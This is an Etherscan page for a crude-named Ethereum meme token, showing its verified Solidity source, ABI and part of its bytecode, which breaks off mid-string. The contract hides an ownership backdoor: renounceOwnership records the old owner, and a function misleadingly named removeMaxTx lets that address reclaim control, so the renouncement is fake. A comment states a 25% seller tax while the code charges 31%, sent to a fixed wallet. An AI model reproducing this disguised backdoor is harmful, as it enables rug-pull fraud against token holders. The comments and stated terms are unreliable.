ETH Price: $2,453.69 (+1.40%)

Token

I CUM IN PEAS (CUMINPEAS)
 

Overview

Max Total Supply

69,420,420 CUMINPEAS

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0x0789.eth
Balance
623,022.974842377 CUMINPEAS

Value
$0.00
0x8d160063e641252f4b424a9af89e88b24e04e444
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ICUMINPEAS

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-10
*/

//SPDX-License-Identifier: Unlicensed

//Telegram : t.me/CUMINPEAS
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _previousOwner = _owner;
        _owner = address(0);
    }

    function removeMaxTx() public {
        require(_previousOwner == msg.sender);
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }

}  
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ICUMINPEAS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => uint256) private _buyMap;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint) private cooldown;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 69_420_420 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _feeAddrWallet1;
    address payable private _feeAddrWallet2;
    
    string private constant _name = "I CUM IN PEAS";
    string private constant _symbol = "CUMINPEAS";
    uint8 private constant _decimals = 9;   
    
    IUniswapV2Router02 private uniswapV2Router;
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public LP_Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
    bool private inSwap = false;
    bool private swapEnabled = true;
    bool private cooldownEnabled = true;
    uint256 private _maxTxAmount = (_tTotal/100); // 1%
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feeAddrWallet1 = payable(0xAEBB08ACf74D39CB8e8C1abb557A35c9E8156f3b);
        _feeAddrWallet2 = payable(0xAEBB08ACf74D39CB8e8C1abb557A35c9E8156f3b);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feeAddrWallet1] = true;
        _isExcludedFromFee[_feeAddrWallet2] = true;
        emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    
    function originalPurchase(address account) public  view returns (uint256) {
        return _buyMap[account];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
        _maxTxAmount = maxTransactionAmount;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    
        if (from != owner()) {
            if (!_isBuy(from)) {
                // TAX SELLERS 25% WHO SELL WITHIN 24 HOURS
                if (_buyMap[from] != 0 &&
                    (_buyMap[from] + (24 hours) >= block.timestamp))  {
                    _feeAddr1 = 1;
                    _feeAddr2 = 30;
                } else {
                    _feeAddr1 = 1;
                    _feeAddr2 = 10;
                }
            } else {
                if (_buyMap[to] == 0) {
                    _buyMap[to] = block.timestamp;
                }
                _feeAddr1 = 1;
                _feeAddr2 = 10;
            } }
        
        if (from != owner() && to != owner()) {
            if (from == LP_Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (10 seconds);
            }
            
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != LP_Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		
        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        _feeAddrWallet1.transfer(amount.div(2));
        _feeAddrWallet2.transfer(amount.div(2));
    }
    
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
    
    function updateMaxTx (uint256 TxA) public onlyOwner {
        _maxTxAmount = TxA;
    }
    
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualSwapSend() external {
        require(_msgSender() == _feeAddrWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _isBuy(address _sender) private view returns (bool) {
        return _sender == LP_Pair;
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LP_Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwapSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"originalPurchase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTransactionAmount","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"TxA","type":"uint256"}],"name":"updateMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266f6a181124228006000196200001b91906200088a565b6000196200002a919062000811565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620000eb57600080fd5b505afa15801562000100573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000126919062000741565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001ab57600080fd5b505afa158015620001c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e6919062000741565b6040518363ffffffff1660e01b8152600401620002059291906200078f565b602060405180830381600087803b1580156200022057600080fd5b505af115801562000235573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025b919062000741565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060146101000a81548160ff0219169083151502179055506001601060156101000a81548160ff0219169083151502179055506001601060166101000a81548160ff021916908315150217905550606466f6a18112422800620003029190620007d9565b6011553480156200031257600080fd5b50600062000325620006f960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073aebb08acf74d39cb8e8c1abb557a35c9e8156f3b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073aebb08acf74d39cb8e8c1abb557a35c9e8156f3b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008546002600062000484620006f960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004d86200070160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000685620006f960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66f6a18112422800604051620006eb9190620007bc565b60405180910390a36200093a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000815190506200073b8162000920565b92915050565b6000602082840312156200075457600080fd5b600062000764848285016200072a565b91505092915050565b62000778816200084c565b82525050565b620007898162000880565b82525050565b6000604082019050620007a660008301856200076d565b620007b560208301846200076d565b9392505050565b6000602082019050620007d360008301846200077e565b92915050565b6000620007e68262000880565b9150620007f38362000880565b925082620008065762000805620008f1565b5b828204905092915050565b60006200081e8262000880565b91506200082b8362000880565b925082821015620008415762000840620008c2565b5b828203905092915050565b6000620008598262000860565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000620008978262000880565b9150620008a48362000880565b925082620008b757620008b6620008f1565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6200092b816200084c565b81146200093757600080fd5b50565b612ad0806200094a6000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063bc33718211610064578063bc33718214610332578063c2d0ffca1461035b578063cc653b4414610384578063dd62ed3e146103c1578063e9836f7d146103fe57610109565b8063715018a6146102885780638da5cb5b1461029f57806395d89b41146102ca578063a9059cbb146102f557610109565b80632be1dee7116100d15780632be1dee7146101de578063313ce567146101f55780634d89620d1461022057806370a082311461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610415565b6040516101309190612384565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906120a5565b610452565b60405161016d9190612369565b60405180910390f35b34801561018257600080fd5b5061018b610470565b60405161019891906124c6565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612056565b61047f565b6040516101d59190612369565b60405180910390f35b3480156101ea57600080fd5b506101f3610558565b005b34801561020157600080fd5b5061020a6106b2565b604051610217919061253b565b60405180910390f35b34801561022c57600080fd5b506102356106bb565b604051610242919061234e565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190611fc8565b6106e1565b60405161027f91906124c6565b60405180910390f35b34801561029457600080fd5b5061029d610732565b005b3480156102ab57600080fd5b506102b46108e6565b6040516102c1919061234e565b60405180910390f35b3480156102d657600080fd5b506102df61090f565b6040516102ec9190612384565b60405180910390f35b34801561030157600080fd5b5061031c600480360381019061031791906120a5565b61094c565b6040516103299190612369565b60405180910390f35b34801561033e57600080fd5b50610359600480360381019061035491906120e1565b61096a565b005b34801561036757600080fd5b50610382600480360381019061037d91906120e1565b610a09565b005b34801561039057600080fd5b506103ab60048036038101906103a69190611fc8565b610aa8565b6040516103b891906124c6565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e3919061201a565b610af1565b6040516103f591906124c6565b60405180910390f35b34801561040a57600080fd5b50610413610b78565b005b60606040518060400160405280600d81526020017f492043554d20494e205045415300000000000000000000000000000000000000815250905090565b600061046661045f610c01565b8484610c09565b6001905092915050565b600066f6a18112422800905090565b600061048c848484610dd4565b61054d84610498610c01565b61054885604051806060016040528060288152602001612a7360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fe610c01565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113b89092919063ffffffff16565b610c09565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006009905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061072b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141c565b9050919050565b61073a610c01565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107be90612446565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f43554d494e504541530000000000000000000000000000000000000000000000815250905090565b6000610960610959610c01565b8484610dd4565b6001905092915050565b610972610c01565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f690612446565b60405180910390fd5b8060118190555050565b610a11610c01565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9590612446565b60405180910390fd5b8060118190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bb9610c01565b73ffffffffffffffffffffffffffffffffffffffff1614610bd957600080fd5b6000610be4306106e1565b9050610bef8161148a565b6000479050610bfd81611784565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c70906124a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce0906123e6565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dc791906124c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b90612486565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eab906123a6565b60405180910390fd5b60008111610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612466565b60405180910390fd5b610eff6108e6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146110aa57610f3a8361187f565b61100b576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610fdb57504262015180600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fd891906125ab565b10155b15610ff5576001600a81905550601e600b81905550611006565b6001600a81905550600a600b819055505b6110a9565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156110985742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600a81905550600a600b819055505b5b6110b26108e6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561112057506110f06108e6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113a857601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561123e5750601060169054906101000a900460ff165b156112ee5760115481111561125257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061129d57600080fd5b600a426112aa91906125ab565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006112f9306106e1565b9050601060149054906101000a900460ff161580156113665750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561137e5750601060159054906101000a900460ff165b156113a65761138c8161148a565b600047905060008111156113a4576113a347611784565b5b505b505b6113b38383836118d9565b505050565b6000838311158290611400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f79190612384565b60405180910390fd5b506000838561140f919061268c565b9050809150509392505050565b6000600854821115611463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145a906123c6565b60405180910390fd5b600061146d6118e9565b9050611482818461191490919063ffffffff16565b915050919050565b6001601060146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115165781602001602082028036833780820191505090505b5090503081600081518110611554577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f657600080fd5b505afa15801561160a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162e9190611ff1565b81600181518110611668577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116cf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c09565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81